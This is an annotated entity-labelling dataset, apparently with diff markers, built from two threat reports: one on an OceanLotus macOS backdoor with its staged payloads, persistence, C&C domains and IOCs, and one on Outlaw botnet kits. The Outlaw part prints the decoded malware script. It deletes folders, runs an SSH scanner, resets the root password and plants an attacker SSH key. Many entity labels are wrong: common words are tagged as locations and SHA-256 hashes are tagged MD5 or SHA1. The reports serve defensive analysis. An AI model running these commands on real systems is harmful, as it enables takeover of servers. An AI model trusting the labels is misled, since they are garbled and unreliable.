-{"id":7270,"text":"The sample arrives as an app bundled in a Zip archive.","entities":[{"id":22709,"label":"location","start_offset":4,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":7271,"text":"It uses the icon for a Word document file as a disguise, attempting to pass itself off as a legitimate document file.","entities":[],"relations":[],"Comments":[]}
 {"id":7272,"text":"     Figure 3.","entities":[],"relations":[],"Comments":[]}
-{"id":7273,"text":"The sample’s file name, icon, and app bundle structure      Another technique it uses to evade detection is adding special characters to its app bundle name.","entities":[{"id":22713,"label":"location","start_offset":4,"end_offset":10},{"id":22714,"label":"location","start_offset":30,"end_offset":33},{"id":22715,"label":"location","start_offset":45,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":7274,"text":"When a user looks for the fake doc folder via the macOS Finder app or the terminal command line, the folder's name shows \"ALL tim nha Chi Ngoc Canada.doc\" (“tìm nhà Chị Ngọc” roughly translates to “find Mrs. Ngoc’s house”).","entities":[{"id":22716,"label":"location","start_offset":134,"end_offset":137},{"id":22717,"label":"location","start_offset":215,"end_offset":220}],"relations":[],"Comments":[]}
-{"id":7275,"text":"However, checking the original Zip file that contains the folder shows 3 unexpected bytes between \".\" and \"doc\".","entities":[{"id":22718,"label":"location","start_offset":90,"end_offset":97},{"id":22719,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":7276,"text":"     Figure 4. Special character between ‘.’ and ‘doc’ as viewed inside the zip archive.","entities":[{"id":22721,"label":"location","start_offset":33,"end_offset":40},{"id":22722,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
 {"id":7277,"text":"    The 3 bytes \"efb880\" is in UTF-8 encoding.","entities":[],"relations":[],"Comments":[]}
 {"id":7278,"text":"According to UTF-8 mapping, the related Unicode code is \"U+FE00\".","entities":[],"relations":[],"Comments":[]}
-{"id":7279,"text":"Code point  First byte  Second byte  Third byte  Fourth byte  U+0000 to U+007F  0xxxxxxx           U+0080 to U+07FF  110xxxxx  10xxxxxx        U+0800 to U+FFFF  1110xxxx  10xxxxxx  10xxxxxx     U+10000 to U+10FFFF  11110xxx  10xxxxxx  10xxxxxx  10xxxxxx   Table 1.","entities":[{"id":22723,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":7280,"text":"UTF-8","entities":[],"relations":[],"Comments":[]}
 {"id":7281,"text":"mapping","entities":[],"relations":[],"Comments":[]}
 {"id":7282,"text":"\"U+FE00\" is a special Unicode control character with name variation selector-1, which provides the visual appearance of a CJK compatibility ideograph.","entities":[],"relations":[],"Comments":[]}
-{"id":7283,"text":"In this case, the preceding character is the general character \".\", so the variation selector does not change the visual appearance.","entities":[{"id":22725,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":7284,"text":"The operating system sees the app bundle as an unsupported directory type, so as a default action the “open” command is used to execute the malicious app.","entities":[{"id":22726,"label":"location","start_offset":69,"end_offset":73},{"id":22727,"label":"location","start_offset":91,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":7285,"text":"Otherwise, if the postfix is .doc without special characters, Microsoft Word is called to open the app bundle as a document; but since it is not a valid document, the app fails to open it.","entities":[],"relations":[],"Comments":[]}
 {"id":7286,"text":"Here is the code signing information for the app bundle sample.","entities":[{"id":22729,"label":"attack-pattern","start_offset":12,"end_offset":24},{"id":22730,"label":"location","start_offset":56,"end_offset":62}],"relations":[],"Comments":[]}
 {"id":7287,"text":"     Figure 5. Code signing information for the sample     ","entities":[{"id":22732,"label":"attack-pattern","start_offset":15,"end_offset":27},{"id":22733,"label":"location","start_offset":48,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":7288,"text":"The app bundle contains two notable files:  ALL tim nha Chi Ngoc Canada: The shell script containing the main malicious routines configureDefault.def: The word file displayed during execution       Figure 6. Contents of “ALL tim nha Chi Ngoc Canada” file      Figure 7.","entities":[{"id":22734,"label":"location","start_offset":56,"end_offset":59},{"id":22735,"label":"location","start_offset":65,"end_offset":71},{"id":22736,"label":"location","start_offset":77,"end_offset":82},{"id":22738,"label":"location","start_offset":233,"end_offset":236},{"id":22739,"label":"location","start_offset":242,"end_offset":248}],"relations":[],"Comments":[]}
-{"id":7289,"text":"The document displayed after executing the file      When the shell script was run, it performed the following routines:","entities":[{"id":22740,"label":"location","start_offset":62,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":7290,"text":"1)      Delete the file quarantine attribute for the files in \"*ALL tim nha Chi Ngoc Canada.?doc*” 2)      Attempt to remove file quarantine attribute of the files in the system.","entities":[{"id":22741,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":7291,"text":"3)      Copy \"ALL tim nha Chi Ngoc Canada.?doc\/Contents\/Resources\/configureDefault.def(doc)\" to \"\/tmp\/ALL tim nha Chi Ngoc Canada.doc(doc)\" 4)      Open \"\/tmp\/ALL tim nha Chi Ngoc Canada.doc(doc)\"","entities":[{"id":22742,"label":"location","start_offset":26,"end_offset":29},{"id":22743,"label":"location","start_offset":114,"end_offset":117},{"id":22744,"label":"location","start_offset":171,"end_offset":174}],"relations":[],"Comments":[]}
-{"id":7292,"text":"5)      Extract the b64-encoded fat binary to \"ALL tim nha Chi Ngoc Canada.?doc\/Contents\/Resources\/configureDefault.def(fat - binary)\", which is the second-stage payload 6)      Change access permission of second-stage payload to execute the launch of the second-stage payload","entities":[{"id":22745,"label":"location","start_offset":20,"end_offset":23},{"id":22746,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":7293,"text":"7)      Delete the malware app bundle \"ALL tim nha Chi Ngoc Canada.?doc\" 8)      Copy \"\/tmp\/ALL tim nha Chi Ngoc Canada.doc(doc)\" to \"{execution directory}\/ALL tim nha Chi Ngoc Canada.doc\" 9)      Delete \"\/tmp\/ALL tim nha Chi Ngoc Canada.doc\" Second-stage payload","entities":[{"id":22747,"label":"location","start_offset":51,"end_offset":54},{"id":22748,"label":"location","start_offset":104,"end_offset":107},{"id":22749,"label":"location","start_offset":168,"end_offset":171},{"id":22750,"label":"location","start_offset":222,"end_offset":225}],"relations":[],"Comments":[]}
-{"id":7294,"text":"When executed, the second stage payload (ALL tim nha Chi Ngoc Canada.?doc\/Contents\/Resources\/configureDefault.def) performs the following malware routines: 1)      Drop third-stage payload to ~\/Library\/User Photos\/mount_devfs 2)      Create persistence for the sample by creating ~\/Library\/LaunchAgents\/com.apple.marcoagent.voiceinstallerd.plist      Figure 8.","entities":[{"id":22751,"label":"location","start_offset":53,"end_offset":56},{"id":22752,"label":"location","start_offset":261,"end_offset":267}],"relations":[],"Comments":[]}
 {"id":7295,"text":"Plist file ~\/Library\/LaunchAgents\/com.apple.marcoagent.voiceinstallerd.plist","entities":[],"relations":[],"Comments":[]}
-{"id":7296,"text":"    3)      Use the touch command to change the timestamp of the sample      Figure 9.","entities":[{"id":22754,"label":"location","start_offset":65,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":7297,"text":"The timestamp of the dropped files     4)      Delete itself","entities":[],"relations":[],"Comments":[]}
 {"id":7298,"text":"Third-stage payload","entities":[],"relations":[],"Comments":[]}
-{"id":7299,"text":"In the third-stage payload (~\/Library\/User Photos\/mount_devfs), the strings are encrypted with custom encryption using base64 encoding and byte manipulation.","entities":[{"id":22755,"label":"location","start_offset":76,"end_offset":79},{"id":22756,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]}
 {"id":7300,"text":"     Figure 10. Encrypted strings           Figures 11-12.","entities":[],"relations":[],"Comments":[]}
 {"id":7301,"text":"Decryption routine     Like older versions of the OceanLotus backdoor, the new version contains two main functions: one for collecting operating system information and submitting this to its malicious C&C servers and receiving additional C&C communication information, and another for the backdoor capabilities.","entities":[{"id":22758,"label":"malware","start_offset":50,"end_offset":60},{"id":22760,"label":"location","start_offset":116,"end_offset":119},{"id":22761,"label":"location","start_offset":164,"end_offset":167},{"id":22762,"label":"location","start_offset":213,"end_offset":216},{"id":22763,"label":"location","start_offset":269,"end_offset":272}],"relations":[],"Comments":[]}
 {"id":7302,"text":"It collects the following information from the infected system by invoking the following commands:  Command  Description  system_profiler SPHardwareDataType 2>\/dev\/null | awk '\/Processor \/ {split($0,line,\\\":\\\"); printf(\\\"%s\\\",line[2]);}'  Get processor information  15f20 = system_profiler SPHardwareDataType 2>\/dev\/null | awk '\/Memory\/ {split($0,line, \\\":\\\"); printf(\\\"%s\\\", line[2]);}'","entities":[],"relations":[],"Comments":[]}
 {"id":7303,"text":"   Get memory information    ioreg -rd1 -c IOPlatformExpertDevice | awk '\/IOPlatformSerialNumber\/ { split($0, line, \\\"\\\\\\\"\\\"); printf(\\\"%s\\\", line[4]); }","entities":[],"relations":[],"Comments":[]}
 {"id":7304,"text":"Get serial number    ifconfig -l ifconfig <device> | awk '\/ether \/{print $2}' 2>&1    Get network interface MAC addresses     Table 2.","entities":[{"id":22764,"label":"tools","start_offset":21,"end_offset":29},{"id":22765,"label":"tools","start_offset":33,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":7305,"text":"OceanLotus commands and descriptions","entities":[{"id":22767,"label":"malware","start_offset":0,"end_offset":10},{"id":22768,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":7306,"text":"The collected information is encrypted and sent to the malware C&C server.      Figure 13.","entities":[{"id":22769,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]}
 {"id":7307,"text":"TCP stream excerpt of the malware sending information to C&C server","entities":[],"relations":[],"Comments":[]}
-{"id":7308,"text":"    It also receives commands from the same server.      Figure 14.","entities":[{"id":22771,"label":"location","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":7309,"text":"TCP stream excerpt of the malware receiving commands from C&C server","entities":[],"relations":[],"Comments":[]}
-{"id":7310,"text":"    Here are the C&C servers used by the malware:  mihannevis[.]com mykessef[.]com idtpl[.]org  ","entities":[{"id":22773,"label":"location","start_offset":9,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":7311,"text":"The new variant’s backdoor capabilities are similar to those of the old OceanLotus sample, as detailed in the code excerpts below:           Figures 15-16.","entities":[{"id":22774,"label":"location","start_offset":40,"end_offset":43},{"id":22776,"label":"location","start_offset":83,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":7312,"text":"A comparison of the codes of the old OceanLotus variant (above) and the new one (below)","entities":[{"id":22779,"label":"location","start_offset":64,"end_offset":67},{"id":22780,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":7313,"text":"    Below are the supported commands and their respective codes (taken from an earlier blog post that covered OceanLotus).","entities":[{"id":22781,"label":"location","start_offset":10,"end_offset":13},{"id":22782,"label":"location","start_offset":37,"end_offset":40},{"id":22783,"label":"location","start_offset":92,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":7314,"text":"0x33  Get file size  0xe8  Exit  0xa2  Download and execute a file  0xac  Run command in terminal  0x48  Remove file  0x72  Upload file  0x23  Download file  0x3c  Download file  0x07  Get configuration info  0x55  Empty response, heartbeat packet   Table 3.","entities":[{"id":22785,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":7315,"text":"Supported commands and their respective codes","entities":[{"id":22787,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":7316,"text":"Details about C&C domain names According to its Google and Whois history, the mihannevis[.]com domain was used to host other websites in the past before it was changed to a C&C server around the end of August 2020.","entities":[{"id":22788,"label":"location","start_offset":55,"end_offset":58},{"id":22790,"label":"location","start_offset":114,"end_offset":118},{"id":22791,"label":"location","start_offset":209,"end_offset":213}],"relations":[],"Comments":[]}
 {"id":7317,"text":"          Figures 17-18.","entities":[],"relations":[],"Comments":[]}
-{"id":7318,"text":"Domain history of mihannevis[.]com, from Whois (above) and Google (below)     In VirusTotal, some related URL queries appeared at the end of August.","entities":[{"id":22793,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":7319,"text":"     Figure 19. URLs related to mihannevis[.]com as seen on VirusTotal     ","entities":[],"relations":[],"Comments":[]}
 {"id":7320,"text":"The domain \"mykessef[.]com\" was used for the C&C server earlier.","entities":[],"relations":[],"Comments":[]}
 {"id":7321,"text":"     Figure 20.","entities":[],"relations":[],"Comments":[]}
 {"id":7322,"text":"Domain history of mykessef[.]com based on Whois Lookup     ","entities":[],"relations":[],"Comments":[]}
-{"id":7323,"text":"The domain name \"idtpl[.]org\" was registered three years ago, and there was no update history.","entities":[{"id":22798,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":7324,"text":"According to Whois lookup, its register expired at the end of March 2020.","entities":[{"id":22799,"label":"location","start_offset":31,"end_offset":39}],"relations":[],"Comments":[]}
 {"id":7325,"text":"Figure 21.","entities":[],"relations":[],"Comments":[]}
 {"id":7326,"text":"idtpl[.]org registration information based on Whois Lookup     But from the middle of July 2020, its IP address changed to 185[.]117[.]88[.]91.      Figure 22. Domain History of idtpl[.]org as seen on VirusTotal","entities":[{"id":22803,"label":"IPV4","start_offset":123,"end_offset":142}],"relations":[],"Comments":[]}
 {"id":7327,"text":"    Recommendations","entities":[],"relations":[],"Comments":[]}
 {"id":7328,"text":"Threat groups such as OceanLotus are actively updating malware variants in attempts to evade detection and improve persistence.","entities":[{"id":22805,"label":"threat-actor","start_offset":22,"end_offset":32},{"id":22806,"label":"location","start_offset":33,"end_offset":36},{"id":22807,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":7329,"text":"The following best practices can be applied to defend against malware:  Never click links or download attachments from emails coming from suspicious sources Regularly patch and update software and applications Use security solutions suitable for your operating system  To protect systems operating on macOS, we recommend Trend Micro Home Security for Mac, which offers comprehensive and multi-device protection against malware and other cyberthreats.","entities":[{"id":22808,"label":"location","start_offset":14,"end_offset":18},{"id":22809,"label":"location","start_offset":29,"end_offset":32},{"id":22810,"label":"location","start_offset":173,"end_offset":176},{"id":22811,"label":"location","start_offset":193,"end_offset":196},{"id":22812,"label":"location","start_offset":214,"end_offset":222},{"id":22813,"label":"location","start_offset":327,"end_offset":332},{"id":22814,"label":"location","start_offset":333,"end_offset":337},{"id":22815,"label":"location","start_offset":338,"end_offset":346},{"id":22816,"label":"location","start_offset":383,"end_offset":386},{"id":22817,"label":"location","start_offset":400,"end_offset":410},{"id":22818,"label":"location","start_offset":427,"end_offset":430}],"relations":[],"Comments":[]}
 {"id":7330,"text":"Indicators of Compromise  SHA-256  Filename\/Description  Trend Micro Pattern Detection  cfa3d506361920f9e1db9d8324dfbb3a9c79723e702d70c3dc8f51825c171420   ALL%20tim%20nha%20Chi%20Ngoc%20Canada.zip  Backdoor.MacOS.OCEANLOTUS.F  48e3609f543ea4a8de0c9375fa665ceb6d2dfc0085ee90fa22ffaced0c770c4f  ALL tim","entities":[{"id":22819,"label":"location","start_offset":63,"end_offset":68},{"id":22820,"label":"SHA2","start_offset":88,"end_offset":152},{"id":22821,"label":"MD5","start_offset":227,"end_offset":291}],"relations":[],"Comments":[]}
 {"id":7331,"text":"nha","entities":[],"relations":[],"Comments":[]}
 {"id":7332,"text":"Chi Ngoc Canada  Backdoor.SH.OCEANLOTUS.F  05e5ba08be06f2d0e2da294de4c559ca33c4c28534919e5f2f6fc51aed4956e3  2nd stage fat binary  Backdoor.MacOS.OCEANLOTUS.F  fd7e51e3f3240b550f0405a67e98a97d86747a8a07218e8150d2c2946141f737   3rd stage fat binary  Backdoor.MacOS.OCEANLOTUS.F   Domains  mihannevis[.]com mykessef[.]com idtpl[.]org  MITRE TTP  Tactic  ID  Name","entities":[{"id":22822,"label":"location","start_offset":0,"end_offset":3},{"id":22823,"label":"location","start_offset":9,"end_offset":15},{"id":22824,"label":"SHA1","start_offset":43,"end_offset":107},{"id":22825,"label":"SHA2","start_offset":160,"end_offset":224}],"relations":[],"Comments":[]}
@@ -7335,112 +6286,45 @@
 {"id":7335,"text":"The backdoor changes the permission of the file it wants to execute to +x  T1027  Obfuscated Files or Information  Readable strings were encrypted  T1036.005  Masquerading: Match Legitimate Name or Location  The app bundle is disguised as a doc file to trick users into executing it  T1070.006  Indicator Removal","entities":[{"id":22830,"label":"attack-pattern","start_offset":82,"end_offset":113},{"id":22831,"label":"attack-pattern","start_offset":159,"end_offset":171}],"relations":[],"Comments":[]}
 {"id":7336,"text":"on Host","entities":[],"relations":[],"Comments":[]}
 {"id":7337,"text":"Timestomp  The backdoor modifies the date and time of the dropped files using the “touch” command  Discovery  T1082  System Information Discovery  The backdoor collects various information to send to the C&C server  Collection  T1560.003  Archive Collected Data: Archive via Custom Method  The backdoor encrypts the data before exfiltration  Command and Control  T1095  Non-Application Layer Protocol","entities":[{"id":22832,"label":"attack-pattern","start_offset":0,"end_offset":9},{"id":22833,"label":"location","start_offset":37,"end_offset":41},{"id":22834,"label":"location","start_offset":42,"end_offset":45},{"id":22835,"label":"location","start_offset":46,"end_offset":50},{"id":22836,"label":"attack-pattern","start_offset":117,"end_offset":145},{"id":22837,"label":"location","start_offset":350,"end_offset":353}],"relations":[],"Comments":[]}
-{"id":7338,"text":"Like previous samples, performs backdoor routines based on C&C data       Tags  Malware | APT & Targeted Attacks | Research | Articles, News, Reports","entities":[{"id":22838,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
 {"id":7339,"text":"As we’ve observed with cybercriminal groups that aim to maximize profits for every campaign, silence doesn’t necessarily mean inactivity.","entities":[{"id":22839,"label":"location","start_offset":83,"end_offset":91},{"id":22840,"label":"malware","start_offset":93,"end_offset":100}],"relations":[],"Comments":[]}
 {"id":7340,"text":"It appears hacking group Outlaw, which has been silent for the past few months, was simply developing their toolkit for illicit income sources.","entities":[],"relations":[],"Comments":[]}
 {"id":7341,"text":"While they have been quiet since our June analysis, we observed an increase in the group’s activities in December, with updates on the kits’ capabilities reminiscent of their previous attacks.","entities":[],"relations":[],"Comments":[]}
-{"id":7342,"text":"The updates expanded scanner parameters and targets, looped execution of files via error messages, improved evasion techniques for scanning activities, and improved mining profits by killing off both the competition and their own previous miners.","entities":[{"id":22845,"label":"location","start_offset":40,"end_offset":43},{"id":22846,"label":"location","start_offset":152,"end_offset":155},{"id":22847,"label":"location","start_offset":216,"end_offset":219}],"relations":[],"Comments":[]}
-{"id":7343,"text":"We analyzed the kits, which were designed to steal information from the automotive and finance industries, launch subsequent attacks on already compromised systems, and (possibly) sell stolen information.","entities":[{"id":22848,"label":"location","start_offset":83,"end_offset":86},{"id":22849,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
-{"id":7344,"text":"Comparing this development to their previous attacks, we think Outlaw may be aiming to go after enterprises that have yet to update their systems, assessing security and changes with their previously infected hosts, finding new and old targets, and possibly testing their updates in the wild.","entities":[{"id":22851,"label":"location","start_offset":70,"end_offset":73},{"id":22852,"label":"location","start_offset":157,"end_offset":165},{"id":22853,"label":"location","start_offset":166,"end_offset":169},{"id":22854,"label":"location","start_offset":228,"end_offset":231},{"id":22855,"label":"location","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]}
-{"id":7345,"text":" We will continue to observe the group’s activities as they target industries from the United States and Europe.","entities":[{"id":22856,"label":"location","start_offset":4,"end_offset":8},{"id":22857,"label":"location","start_offset":60,"end_offset":66},{"id":22859,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":7346,"text":"Based on the samples we collected and traced to 456 distinct IPs, we expect the group to be more active in the coming months as we observed changes on the versions we acquired.","entities":[{"id":22861,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]}
 {"id":7347,"text":"Routine","entities":[],"relations":[],"Comments":[]}
-{"id":7348,"text":"These new samples targeted Linux- and Unix-based operating systems, vulnerable servers, and internet of things (IoT) devices by exploiting known vulnerabilities with available exploits.","entities":[{"id":22864,"label":"location","start_offset":34,"end_offset":37},{"id":22865,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":7349,"text":"This time, the group explored unpatched systems vulnerable to CVE-2016-8655 and Dirty COW exploit (CVE-2016-5195) as attack vectors.","entities":[{"id":22866,"label":"location","start_offset":5,"end_offset":9},{"id":22867,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":7350,"text":"Files using simple PHP-based web shells were also used to attack systems with weak SSH and Telnet credentials.","entities":[{"id":22868,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":7351,"text":"While no phishing- or social engineering-initiated routines were observed in this campaign, we found multiple attacks over the network that are considered “loud.”","entities":[{"id":22869,"label":"location","start_offset":82,"end_offset":90},{"id":22870,"label":"location","start_offset":140,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":7352,"text":"These involved large-scale scanning operations of IP ranges intentionally launched from the command and control (C&C) server.","entities":[{"id":22871,"label":"location","start_offset":15,"end_offset":20},{"id":22872,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":7353,"text":"The honeynet graphs, which show activity peaks associated with specific actions, also suggest that the scans were timed.","entities":[],"relations":[],"Comments":[]}
-{"id":7354,"text":"We also considered the move as an obfuscation technique, as it was mixed with a lot of script kiddie activities that can easily be mistaken for grey noise online.","entities":[{"id":22873,"label":"location","start_offset":80,"end_offset":83},{"id":22874,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":7355,"text":"The attackers could hide their activities if they noted the business hours of the intended targets and performed the actions coinciding with said times.","entities":[{"id":22875,"label":"TIME","start_offset":56,"end_offset":74},{"id":22876,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
 {"id":7356,"text":"Figure 1.","entities":[],"relations":[],"Comments":[]}
 {"id":7357,"text":"Anomalous properties of a command detected from traffic","entities":[],"relations":[],"Comments":[]}
-{"id":7358,"text":"From the sample we analyzed, attacks started from one virtual private server (VPS) that searches for a vulnerable machine to compromise (previous techniques used malicious URLs or infecting legitimate websites for bot propagation).","entities":[{"id":22878,"label":"location","start_offset":9,"end_offset":15},{"id":22879,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":7359,"text":"Once infected, the C&C commands for the infected system launches a loud scanning activity and spreads the botnet by sending a “whole kit” of binary files at once with naming conventions same as the ones already in the targeted host, likely banking on breaking through via “security through obscurity.”","entities":[{"id":22880,"label":"location","start_offset":90,"end_offset":93},{"id":22881,"label":"location","start_offset":186,"end_offset":190},{"id":22882,"label":"location","start_offset":227,"end_offset":231},{"id":22883,"label":"location","start_offset":233,"end_offset":239},{"id":22884,"label":"location","start_offset":273,"end_offset":281}],"relations":[],"Comments":[]}
 {"id":7360,"text":"They attempted to evade traffic inspection by encoding the code for the scanner with base-64.","entities":[],"relations":[],"Comments":[]}
-{"id":7361,"text":"The zombie host initiates the scan — another routine from previous campaigns — but updated with a larger set of parameters and programmed to run in the background.","entities":[{"id":22885,"label":"location","start_offset":11,"end_offset":15},{"id":22886,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":7362,"text":"Decoding the scanner revealed the following codes:  #!\/bin\/bash cd \/tmp rm -rf .ssh rm -rf .mountfs rm -rf .X13-unix rm -rf .X17-unix rm -rf .X19-unix mkdir .X19-unix cd .X19-unix mv \/var\/tmp\/dota3.tar.gz dota3.tar.gz tar xf dota3.tar.gz sleep 3s && cd \/tmp\/.X19-unix\/.rsync\/c nohup \/tmp\/.X19-unix\/.rsync\/c\/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 \/tmp\/up.txt 192.168 >> \/dev\/null 2>1& sleep 8m && nohup \/tmp\/.X19-unix\/.rsync\/c\/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0","entities":[],"relations":[],"Comments":[]}
 {"id":7363,"text":"\/tmp","entities":[],"relations":[],"Comments":[]}
 {"id":7364,"text":"\/up.txt 172.16","entities":[],"relations":[],"Comments":[]}
 {"id":7365,"text":"> \/dev\/null 2>1& sleep 20m && cd ..; \/tmp\/.X19-unix\/.rsync\/initall 2>1& exit 0  ","entities":[],"relations":[],"Comments":[]}
 {"id":7366,"text":"The kit we found is in tgz format, though we have observed some samples disguised as png or jpg.","entities":[],"relations":[],"Comments":[]}
-{"id":7367,"text":"While previous routines took advantage of competing miners’ activities and unrelated components to hijack the profit, the latest version of the code attempts to remove all related files and codes from previous infections (including their own to make sure the running components are updated, as well as those from other cybercriminals to maximize the resources of the zombie host) and creates a new working directory \/tmp\/.X19-unix to move the kit and extract the files.","entities":[{"id":22887,"label":"location","start_offset":71,"end_offset":74},{"id":22888,"label":"location","start_offset":186,"end_offset":189},{"id":22889,"label":"location","start_offset":278,"end_offset":281},{"id":22890,"label":"location","start_offset":374,"end_offset":378},{"id":22891,"label":"location","start_offset":380,"end_offset":383},{"id":22892,"label":"location","start_offset":447,"end_offset":450}],"relations":[],"Comments":[]}
 {"id":7368,"text":"The tsm binary then runs in the background, forwarding a series of error messages to \/dev\/null to keep the code running, ensuring the continuous execution of the code referenced with a set of parameters \/tmp\/up.txt.","entities":[],"relations":[],"Comments":[]}
 {"id":7369,"text":"The script then waits 20 minutes before it runs the wrapper script initall: 2e2c9d08c7c955f6ce5e27e70b0ec78a888c276d71a72daa0ef9e3e40f019a1a  initall  Figure 2.","entities":[{"id":22893,"label":"location","start_offset":16,"end_offset":21},{"id":22894,"label":"TIME","start_offset":22,"end_offset":32},{"id":22895,"label":"SHA2","start_offset":76,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":7370,"text":"Running the initall wrapper script","entities":[],"relations":[],"Comments":[]}
 {"id":7371,"text":"Another variant executes a set of commands once a system is successfully compromised.","entities":[],"relations":[],"Comments":[]}
-{"id":7372,"text":"Most of these commands are related to gathering information from the infected machine (number of CPU cores, users, scheduled tasks, running processes, OS installed, and CPU and memory information) via the dota3 payload, as well as changing the password to a random string also stored in \/tmp\/up.txt.","entities":[{"id":22897,"label":"location","start_offset":0,"end_offset":4},{"id":22898,"label":"location","start_offset":23,"end_offset":26},{"id":22899,"label":"location","start_offset":165,"end_offset":168},{"id":22900,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":7373,"text":"In a previous execution (published in June 2019), we observed that dota2 had its own folder but it was hardly executed, indicating that this version is the updated iteration:  cat \/proc\/cpuinfo | grep name | wc -l echo \"root:TXhf4ICTayIh\"|chpasswd|bash echo \"321\" > \/var\/tmp\/.var03522123 rm -rf \/var\/tmp\/.var03522123 cat \/var\/tmp\/.var03522123 |","entities":[{"id":22903,"label":"location","start_offset":214,"end_offset":218},{"id":22904,"label":"location","start_offset":220,"end_offset":224},{"id":22905,"label":"location","start_offset":253,"end_offset":257}],"relations":[],"Comments":[]}
 {"id":7374,"text":"head -n 1 cat \/proc\/cpuinfo | grep name |","entities":[],"relations":[],"Comments":[]}
 {"id":7375,"text":"head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","entities":[],"relations":[],"Comments":[]}
-{"id":7376,"text":"free -m | grep Mem |","entities":[{"id":22906,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":7377,"text":"awk '{print $2 ,$3, $4, $5, $6, $7}' ls -lh $(which ls) which ls crontab -l w uname -m cat \/proc\/cpuinfo | grep model | grep name | wc -l top uname uname -a lscpu | grep Model","entities":[{"id":22907,"label":"location","start_offset":112,"end_offset":117},{"id":22908,"label":"location","start_offset":170,"end_offset":175}],"relations":[],"Comments":[]}
 {"id":7378,"text":"echo \"root 123\" > \/tmp\/up.txt rm -rf \/var\/tmp\/dota* <send Outlaw kit (the archive file) to compromised host via SFTP> cat \/var\/tmp\/.systemcache436621 echo \"1\" > \/var\/tmp\/.systemcache436621 cat \/var\/tmp\/.systemcache436621 sleep 15s && cd \/var\/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAk.....<shortened> cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3N.....<shortened>","entities":[{"id":22909,"label":"location","start_offset":0,"end_offset":4},{"id":22910,"label":"location","start_offset":6,"end_offset":10},{"id":22911,"label":"location","start_offset":103,"end_offset":107},{"id":22912,"label":"location","start_offset":150,"end_offset":154},{"id":22913,"label":"location","start_offset":247,"end_offset":251},{"id":22914,"label":"location","start_offset":334,"end_offset":338},{"id":22915,"label":"identity","start_offset":344,"end_offset":347}],"relations":[],"Comments":[]}
-{"id":7379,"text":" Running the script removes the remaining files and scripts from previous attacks, keeping a low profile to evade detection.","entities":[{"id":22916,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":7380,"text":"If the system has been previously infected with a cryptominer, it also attempts to kill the running miner and all its related activities.","entities":[{"id":22917,"label":"location","start_offset":100,"end_offset":105},{"id":22918,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
 {"id":7381,"text":"Based on a bashtemp directory of the latest sample we found, there are other compiled ELF scripts, named init and init2, that loops the kit to keep running: 0c458dfe0a2a01ab300c857fdc3373b75fbb8ccfa23d16eff0d6ab888a1a28f6  init  Figure 3. Running the init ELF script 93ce211a71867017723cd78969aa4cac9d21c3d8f72c96ee3e1b2712c0eea494  init2  Figure 4.","entities":[{"id":22919,"label":"location","start_offset":44,"end_offset":50},{"id":22920,"label":"location","start_offset":67,"end_offset":70},{"id":22921,"label":"location","start_offset":110,"end_offset":113},{"id":22922,"label":"SHA2","start_offset":157,"end_offset":221},{"id":22924,"label":"SHA1","start_offset":267,"end_offset":331}],"relations":[],"Comments":[]}
